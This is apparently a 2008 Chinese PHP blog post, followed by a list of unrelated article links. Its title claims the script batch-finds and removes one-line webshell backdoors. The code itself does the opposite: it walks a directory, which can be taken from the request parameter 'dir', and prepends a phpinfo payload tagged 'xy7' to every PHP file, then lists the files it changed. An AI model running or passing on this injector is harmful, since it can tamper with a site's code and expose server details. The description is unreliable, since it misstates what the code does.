用php实现批量查询清除一句话后门的代码


Posted in PHP onJanuary 20, 2008

总是忘记一句话放到哪个文件里去了,直接全部干掉...

<?//xy7  
if (!isset($dir) or empty($dir)) {  
$dir=str_replace('\\','/',dirname(__FILE__));  
echo "<font color=\"#00688B\">".$dir."</font>";  
} else {  
$dir=$_GET['dir'];  
echo "<font color=\"#00688B\">".$dir."</font>";  
}  
$evilcode="<?phpinfo();//xy7?>";  
$testdir = opendir($dir);  
while($filea = @readdir($testdir)){  
if(strstr($filea, '.php')){  
$fp = @fopen($filea, 'r+');  
if (!strstr(@fread($fp, 20), 'xy7')){  
rewind($fp);  
$old = @fread($fp, filesize($filea));  
rewind($fp);  
fwrite($fp, $evilcode . $old);  
}  
fclose($fp);  
}  
}  
closedir($testdir);  
?>  
<hr>  
<table width="100%" border="0" cellpadding="3" cellspacing="1">  
<tr>  
<td><b>被X的文件</b></td>  
<td><b>时间</b></td>  
<td><b>大小</b></td>  
</tr>  
<?php  
$dirs=@opendir($dir);  
while ($file=@readdir($dirs)) {  
if ((is_file($file)) and (ereg("\.php{0,1}$",$file)))  
{$b="$dir/$file";  
$a=@is_dir($b);  
if($a=="0"){  
$size=@filesize("$dir/$file");  
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file"));  
echo "<tr>\n";  
echo "<td>$file</td>\n";  
echo " <td>$lastsave</td>\n";  
echo " <td>$size Bytes</td>\n";  
}  
}  
}  
@closedir($dirs);  
?>  
</table> 
codz by xuanmumu 
PHP 相关文章推荐
Linux下进行MYSQL编程时插入中文乱码的解决方案
Mar 15 PHP
php中使用exec,system等函数调用系统命令的方法(不建议使用,可导致安全问题)
Sep 07 PHP
php简单浏览目录内容的实现代码
Jun 07 PHP
浅析PHP substr,mb_substr以及mb_strcut的区别和用法
Jun 21 PHP
php 使用file_get_contents读取大文件的方法
Nov 13 PHP
PHP实现从远程下载文件的方法
Mar 12 PHP
PHP判断是否为空的几个函数对比
Apr 21 PHP
PHP file_get_contents函数读取远程数据超时的解决方法
May 13 PHP
PHP生成json和xml类型接口数据格式
May 17 PHP
PHP异常处理定义与使用方法分析
Jul 25 PHP
PHP多进程简单实例小结
Nov 09 PHP
PHP命名空间(namespace)原理与用法详解
Dec 11 PHP
asp和php下textarea提交大量数据发生丢失的解决方法
Jan 20 #PHP
php开发工具之vs2005图解
Jan 12 #PHP
java EJB 加密与解密原理的一个例子
Jan 11 #PHP
apache rewrite_module模块使用教程
Jan 10 #PHP
支持php4、php5的mysql数据库操作类
Jan 10 #PHP
让PHP支持页面回退的两种方法
Jan 10 #PHP
php下使用SMTP发邮件的代码
Jan 10 #PHP
You might like
PHP使用微信开发模式实现搜索已发送图文及匹配关键字回复的方法
2017/09/13 PHP
PHP实现统计所有字符在字符串中出现次数的方法
2017/10/17 PHP
JavaScript constructor和instanceof,JSOO中的一对欢喜冤家
2009/05/25 Javascript
JavaScript 语言的递归编程
2010/05/18 Javascript
JS不间断向上滚动效果代码
2013/12/25 Javascript
[原创]推荐10款最热门jQuery UI框架
2014/08/19 Javascript
Javascript 运动中Offset的bug解决方案
2014/12/24 Javascript
Jquery实现弹性滑块滑动选择数值插件
2015/08/08 Javascript
基于JavaScript实现网页倒计时自动跳转代码
2015/12/28 Javascript
开启BootStrap学习之旅
2016/05/04 Javascript
学习使用ExpressJS 4.0中的新Router的用法
2018/11/06 Javascript
基于node.js实现爬虫的讲解
2019/02/18 Javascript
Flutter 超实用简单菜单弹出框 PopupMenuButton功能
2019/08/06 Javascript
vue实现百度语音合成的实例讲解
2019/10/14 Javascript
js将URL网址转为16进制加密与解密函数
2020/03/04 Javascript
微信小程序自定义胶囊样式
2020/12/27 Javascript
原生JavaScript实现进度条
2021/02/19 Javascript
[05:07]DOTA2英雄梦之声_第14期_暗影恶魔
2014/06/20 DOTA
[56:35]DOTA2上海特级锦标赛C组小组赛#1 OG VS Archon第二局
2016/02/27 DOTA
Python利用Beautiful Soup模块创建对象详解
2017/03/27 Python
python getpass实现密文实例详解
2019/09/24 Python
PYQT5 vscode联合操作qtdesigner的方法
2020/03/24 Python
python如何停止递归
2020/09/09 Python
CSS3实现翘边的阴影效果的代码示例
2016/06/13 HTML / CSS
CSS3实现文字波浪线效果示例代码
2016/11/20 HTML / CSS
美国祛痘、抗衰老药妆品牌:Murad
2016/08/27 全球购物
Nordgreen美国官网:在线购买极简主义斯堪的纳维亚手表
2019/07/24 全球购物
美国Max仓库:Max Warehouse
2020/05/31 全球购物
IGK Hair官网:喷雾、洗发水、护发素等
2020/11/03 全球购物
杭州龙健科技笔试题.net部分笔试题
2016/01/24 面试题
描述RIP和OSPF区别以及特点
2015/01/17 面试题
演讲稿怎么写
2014/01/07 职场文书
《音乐之都维也纳》教学反思
2014/04/16 职场文书
英文求职信范文
2014/05/23 职场文书
食品委托检验协议书范本
2014/09/12 职场文书
2014年艾滋病防治工作总结
2014/12/10 职场文书